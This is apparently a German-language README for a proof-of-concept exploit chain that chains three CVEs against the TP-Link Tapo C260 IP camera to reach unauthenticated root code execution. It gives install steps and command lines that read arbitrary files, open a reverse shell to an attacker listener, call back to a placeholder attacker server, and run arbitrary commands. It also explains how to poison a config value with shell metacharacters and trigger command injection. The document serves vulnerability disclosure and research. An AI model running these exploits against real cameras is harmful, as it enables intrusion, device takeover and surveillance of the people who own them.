
PoC-Exploit-Kette für die TP-Link Tapo C260 Kamera — CVE-2026-0651/0652/0653. Forschung von @spaceraccoon.
Proof-of-Concept-Exploit-Kette für die TP-Link Tapo C260 IP-Kamera, die durch die Verkettung von drei Schwachstellen, entdeckt von Eugene Lim (Spaceraccoon), RCE von nicht authentifiziert bis root erreicht.
Die gesamte Schwachstellenforschung und -entdeckung stammt von Eugene Lim (@spaceraccoon).
Dieses Repository ist eine PoC-Implementierung basierend auf seinem öffentlichen Writeup. Wenn du das nützlich findest, kauf dir sein Buch: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | Typ | Auswirkung |
|---|---|---|
| CVE-2026-0651 | Path Traversal / Lokale Datei-Offenlegung | Beliebige Dateien über /%2e%2e%2f im HTTP-GET-Handler lesen |
| CVE-2026-0652 | Beliebiger Konfigurationsschreibzugriff | Gast-Benutzer können über JSON-Key-Manipulation in der Cloud-API in jeden Konfigurationspfad schreiben |
| CVE-2026-0653 | Command Injection / Privilege Escalation | set_region_code_handle übergibt den unsanitisierten dev_name-Konfigurationswert an popen() |
LFD (Gerätekonfiguration lesen) --> Konfigurationsschreiben (dev_name vergiften) --> Region-Code-Handler auslösen --> popen() --> Shell
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
Beliebige Dateien von einer Kamera im lokalen Netzwerk lesen:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# Reverse Shell
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# Nur Callback (curl-Ping)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# Benutzerdefinierter Befehl
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
Vergiften — Sendet eine setLedStatus-Anfrage mit manipulierten JSON-Keys, die eine Shell-Metazeichen-Payload in den Konfigurationspfad tp_manage/info/dev_name auf dem Gerät schreibt.
Auslösen — Sendet eine set_region_code-Anfrage. Der Handler liest dev_name aus der Konfiguration und interpoliert ihn ohne Sanitisierung in einen popen()-Aufruf, wodurch der injizierte Befehl ausgeführt wird.
Shell — Der Angreifer erhält einen Callback oder eine Reverse Shell.
/bin/main-Omnibus-Binärdatei verwendenDieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren sind nicht für Missbrauch verantwortlich. Hol immer eine ausdrückliche Genehmigung ein, bevor du Tests gegen ein Gerät durchführst, das du nicht besitzt.